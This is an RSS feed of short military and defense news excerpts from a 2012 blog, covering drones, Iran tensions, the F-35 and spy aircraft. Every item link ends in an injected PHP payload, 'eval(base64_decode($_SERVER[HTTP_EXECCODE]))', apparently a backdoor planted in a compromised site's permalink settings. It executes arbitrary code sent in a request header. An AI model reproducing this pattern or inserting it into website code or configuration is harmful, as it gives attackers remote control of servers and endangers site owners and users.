http://wackygeeks.com Embracing our Inner Geek Mon, 06 Feb 2012 09:00:04 +0000 http://backend.userland.com/rss092 en YONGYANG – North Korea's hard-line communist regime is using old US-made target drones to develop unmanned attack aircraft, South Korea intelligence sources said Sunday."North Korea recently bought several US MQM-107D Streakers from a Middle Eastern nation that appears to be Syria, and is developing unmanned attack aircraft based on ... http://wackygeeks.com/2012/02/06/north-korea-recycling-target-drones-to-use-as-weapons/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ CNN) -- Some U.S. officials this year are expected to get smartphones capable of handling classified government documents over cellular networks, according to people involved in the project.The phones will run a modified version of Google's Android software, which is being developed as part of an initiative that spans multiple ... http://wackygeeks.com/2012/02/03/droids-for-the-military/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ FOXNEWS: Defense Secretary Leon Panetta is expressing new concerns about Iran's underground nuclear program, this time telling Washington Post columnist David Ignatius he's worried Israel may decide to attack it as early as this spring.Traveling with the defense secretary in Brussels to cover his meeting with NATO defense ministers, Ignatius ... http://wackygeeks.com/2012/02/03/pantetta-israel-could-attack-iran-this-spring/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Go to Source http://wackygeeks.com/2012/02/02/skyquakes-rattle-northwest/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Brad McGavock was on duty this morning when we called the Tulsa National Weather Service office about the possible meteor ripping through the sky."Around 8 p.m. there was reported to be a sonic boom that was heard over the DFW area." McGavock says there was a report that a highway ... http://wackygeeks.com/2012/02/02/mystery-fireballs-noises-from-the-sky-natural-black-projects-armageddon-hoaxes-viral-marketing/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ The U.S. Air Force has awarded Northrop Grumman Corporation (NYSE:NOC) a .2 million contract for the purchase and integration of two more Battlefield Airborne Communications Node (BACN) payloads on two existing Block 20 Global Hawk aircraft. BACN is a high-altitude, airborne communications and information gateway system that maintains operational communications ... http://wackygeeks.com/2012/02/02/every-drone-is-better-with-bacn/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ If this is (dated) white-world technology - imagine what they are cooking up in the black world?-Steve Douglass Go to Source http://wackygeeks.com/2012/02/01/the-future-of-flying-nanobots-swarm-technology/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ AVWK: EDWARDS AFB, Calif. —By Guy Norris A new U.S. Air Force X-plane designated X-56A will explore active control technology for potential use in future high-altitude, long-endurance (HALE) reconnaissance aircraft.Designed by Lockheed Martin’s Skunk Works, the X-56A flying wing will also later be flown by NASA, and is an innovative ... http://wackygeeks.com/2012/02/01/nasa-to-unveil-unmanned-x-plane/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ So I'm lying in bed on a cold February morning. I know I should be awake by now but the room is cool and under the covers it feels toasty and good. I'm in that state between awake and asleep - floating. Suddenly my (then) wife comes into the room. ... http://wackygeeks.com/2012/02/01/sts-107-the-death-of-columbia-remembered/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Kabul, Afghanistan (CNN) -- The Taliban in Afghanistan depend on Pakistan for support, even though they do not necessarily welcome it, a secret NATO report says, according to a journalist who has read it."It is a marriage of convenience," Times of London reporter Jerome Starkey said Wednesday, citing the report. ... http://wackygeeks.com/2012/02/01/secret-document-outlines-taliban-dependency/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ WASHINGTON (Reuters) - The Pentagon grounded six Lockheed Martin Corp F-35 fighter jets at a California air base due to a problem with the parachutes packed under the pilot's ejection seat, two sources familiar with the issue told Reuters.Additional F-35 jets being flown at a U.S. Navy air station in ... http://wackygeeks.com/2012/01/31/six-f-35s-grounded-due-to-ejection-seat-chute-glitch/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Sanaa, Yemen (CNN) -- Three suspected drone strikes hit militant targets in southern Yemen on Monday night and Tuesday morning, killing at least nine people with suspected links to al Qaeda, Yemeni security officials said.The missiles struck Abyan province near areas that have been taken over by Ansaar al-Sharia, a ... http://wackygeeks.com/2012/01/31/predator-drone-kills-3-in-yemen/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Click to enlarge: Go to Source http://wackygeeks.com/2012/01/30/c-130-from-dyess-afb-in-the-pattern-the-other-day-so-i-shot-it/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ A media report says the U.S. military plans to send a floating base for commando teams to the Middle East, where relations with Iran are tense and other nations are in the midst of political upheaval.The Washington Post newspaper on Saturday cited unspecified U.S. Navy documents saying the service plans ... http://wackygeeks.com/2012/01/28/report-pentagon-sending-mothership-to-the-persian-gulf/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ BBC:US Defence Secretary Leon Panetta has said he is "very concerned" about a Pakistani doctor arrested for providing intelligence for the US raid that killed Osama Bin Laden last year.Dr Shikal Afridi is accused of running a CIA-run programme in Abbottabad where Bin Laden was killed. A Pakistan panel says ... http://wackygeeks.com/2012/01/28/bin-laden-informer-could-be-killed-by-pakistan/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ BBC:The FBI wants an app to combine information from Twitter, Facebook and Google Maps.The FBI is seeking to develop an early-warning system based on material "scraped" from social networks.It says the application should provide information about possible domestic and global threats superimposed onto maps "using mash-up technology".The bureau has asked ... http://wackygeeks.com/2012/01/26/fbi-wants-an-app-for-that/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ WIRED DANGER ROOM:The big loser in the Pentagon’s new budget? Ordinary human beings.About 80,000 Army soldiers and 20,000 Marines are getting downsized. Half of the Army’s conventional combat presence in Europe is packing up and ending its post-Cold War staycation. Replacing them, according to the 3 billion budget previewed by ... http://wackygeeks.com/2012/01/26/robots-are-taking-over-the-military/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Photos by Steve DouglassIf you were out by Rick Husband/Amarillo International Airport yesterdau - you may have witnessed a strange looking whale of an aircraft landing - Nasa's "Super Guppy."The unique one of a kind aircraft was making it's last delivery of a V-22 Osprey fuselage to the Amarillo Bell/Textron ... http://wackygeeks.com/2012/01/26/super-guppy-visits-amarillo-one-last-time/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ NPR In a daring raid reminiscent of the kind used to kill Osama bin Laden, U.S. Navy SEALs swooped into Somalia Wednesday morning and rescued two aid workers, who had been held by pirates for months.The New York Times reports the soldiers came in by helicopter and engaged in a ... http://wackygeeks.com/2012/01/25/breaking-seals-rescue-two-from-somali-pirates/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ AVWK: The U.S. Air Force has decided to scrap its Northrop Grumman high-altitude unmanned surveillance plane program and instead extend the life of its U-2 aircraft into the 2020s, according to a government official and a defense analyst.Loren Thompson, chief operating officer of the Virginia-based Lexington Institute, said the Air ... http://wackygeeks.com/2012/01/24/usaf-picks-dragonlady-over-global-hawk-uav/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Caught one of the brand spanking new Ospreys on a test flight out of Amarillo today. I see them quite often - and yet I'm still impressed.Photo by Steve Douglass Go to Source http://wackygeeks.com/2012/01/24/new-v-22-posing/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ (CNN) -- Flanked by British and French ships, the USS Abraham Lincoln aircraft carrier moved through the Strait of Hormuz without incident Sunday despite recent threats from Iran.The U.S. Naval Forces Central Command said in a statement that the Lincoln "completed a regular and routine transit of the strait ... ... http://wackygeeks.com/2012/01/23/us-abraham-lincoln-moves-through-strait-of-hormuz-without-incident/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ CAPE CANAVERAL, Fla. (AP) - The Air Force has sent into space a satellite that is expected to improve communications with military drones in the Middle East and Southeast Asia.Officials say a Delta 4 rocket carried the WGS 4 satellite from Cape Canaveral Air Force Station at 7:38 p.m. Thursday.It's ... http://wackygeeks.com/2012/01/20/usaf-launches-drone-controller-satellite/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ BBC:Britain has admitted for the first time that it was caught spying when Russia exposed its use of a fake rock in Moscow to conceal electronic equipment.Russia made the allegations in January 2006, but Britain has not publicly accepted the claims until now.Jonathan Powell, then Prime Minister Tony Blair's chief ... http://wackygeeks.com/2012/01/19/british-rock-is-a-spy-rock/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Robert Johnson Underscoring its desire to keep U.S. aircraft carriers from the Persian Gulf, a senior Iranian military commander today announced his possible plan to ambush the American fleet.Chalk this one up to more bluster, or part of a mounting back and forth rhetoric headed nowhere good, either way — ... http://wackygeeks.com/2012/01/18/iran-says-it-could-ambush-us-carriers-with-submarines/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ My good friends. The new and much improved (edited) version of my book "The Interceptors Club & The Secret of the Black Manta" is now available for download on SMASHWORDS and soon I-tunes! With that in mind - I need some more good reviews. Maybe you could help?You may now ... http://wackygeeks.com/2012/01/16/want-to-know-how-to-hack-a-uav-99-cents/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Go to Source http://wackygeeks.com/2012/01/14/3702/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ The U.S. has warned Iran's Supreme Leader Ayatollah Ali Khamenei through a secret channel of communication that closing the Strait of Hormuz would elicit an American military response, a report says.United States government officials would not describe how the message was relayed, and whether Iranian leaders responded, the New York ... http://wackygeeks.com/2012/01/13/us-warns-iran-it-would-be-crossing-the-red-line-if-strait-are-closed/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ (CNN) -- A blast in a Tehran neighborhood reportedly killed a nuclear scientist Wednesday morning, the latest in a string of attacks against such scientists in the country that Iran has blamed on Israel.A motorcyclist placed a magnetic bomb under Mostafa Ahmadi Roshan's Peugeot 405, the country's IRNA news agency ... http://wackygeeks.com/2012/01/11/iranian-nuclear-scientist-killed-in-bomb-blast/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ AVIATION WEEK/BILL SWEETMAN The first clear pictures of the center-line reconnaissance bay on Lockheed Martin’s RQ-170 Sentinel show that the small unmanned aircraft was carrying sensor balls mounted in an internal compartment with specially treated transparent panels—developed for the F-22—when one of them crashed in Iran on Dec. 4.The new ... http://wackygeeks.com/2012/01/10/aviation-week-report-on-rq-170-sentinel-loss/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ 1105_001 Go to Source http://wackygeeks.com/2012/01/10/everything-you-wanted-to-know-about-uas-but-were-afraid-to-ask/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Image: Bell B412Bell to build new commercial helicopter in AmarilloBreaking with its recent past, Bell Helicopter plans to produce its next new commercial helicopter, code named Magellan, at its military aircraft plant in Amarillo.The decision to build the new aircraft model in Amarillo, rather than at Bell's commercial aircraft production ... http://wackygeeks.com/2012/01/09/bell-building-magellan-in-amarillo/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ BBC: Iran has begun enriching uranium at a heavily fortified underground site, the UN's nuclear watchdog has confirmed.The International Atomic Energy Agency said medium-level enrichment had begun at the Fordo plant, in northern Iran.Iran has said it plans to carry out uranium enrichment there - but insists this is for ... http://wackygeeks.com/2012/01/09/iran-enriching-uranium-at-fortified-underground-complex/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ TEHRAN, Iran (AP) — An Iranian court has convicted an American man of working for the CIA and sentenced him to death, state radio reported Monday, in a case adding to the accelerating tension between the United States and Iran.Iran charges that as a former U.S. Marine, Amir Mirzaei Hekmati ... http://wackygeeks.com/2012/01/09/iranian-court-sentences-american-to-death-for-spying/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ (CNN) -- A Florida man, arrested Saturday for allegedly plotted to bomb night clubs and the sheriff's headquarters in Tampa, Florida, faces a federal judge on a terror charge Monday afternoon, federal prosecutors said.Sami Osmakac, a 25-year-old naturalized American born in Kosovo, planned a car bombing that would be followed ... http://wackygeeks.com/2012/01/09/florida-man-arrested-for-terrorism-plot/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ (CNN) -- U.S. sailors from a carrier strike group whose recent presence in the Persian Gulf drew the ire of Iranian military officials have rescued 13 of the Middle Eastern country's sailors from a hijacked fishing boat, a military spokesman said Friday.The destroyer USS Kidd came to the aid of ... http://wackygeeks.com/2012/01/06/great-satans-navy-rescues-hijacked-iranian-sailors/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ America's classified X-37B spaceplane is probably spying on China, according to a report in Spaceflight magazine.The unpiloted vehicle was launched into orbit by the US Air Force in March last year and has yet to return to Earth.The Pentagon has steadfastly refused to discuss its mission but amateur space trackers ... http://wackygeeks.com/2012/01/05/x-37b-spying-on-china/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Reuters: By Peter Apps, Political Risk CorrespondentLONDON | Thu Jan 5, 2012 10:35am ESTBut they could also find themselves sparking a punishing -- if perhaps short-lived -- regional conflict from which they could emerge the primary losers.In recent weeks, a growing number of senior Iranian military and civilian officials have ... http://wackygeeks.com/2012/01/05/iran-could-close-straits-of-hormuz-but-at-what-cost/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ The US is to axe thousands of troops as part of a far-reaching defence review aimed at coping with huge budget cuts over the next decade, officials say.The changes - to be unveiled on Thursday - are likely to end a decades-old policy of maintaining the strength to fight two ... http://wackygeeks.com/2012/01/05/obama-firing-soldiers-to-save-money/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Iran's parliament said Wednesday it was preparing a bill that would prohibit all foreign warships from entering the Persian Gulf unless they received permission from the Iranian navy.The bill, disclosed by the the semiofficial Fars News Agency, surfaced a day after Iran’s armed forces commander warned a U.S. nuclear-powered aircraft ... http://wackygeeks.com/2012/01/04/irans-parliament-preparing-a-bill-that-would-prohibit-all-foreign-warships-from-persian-gulf/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/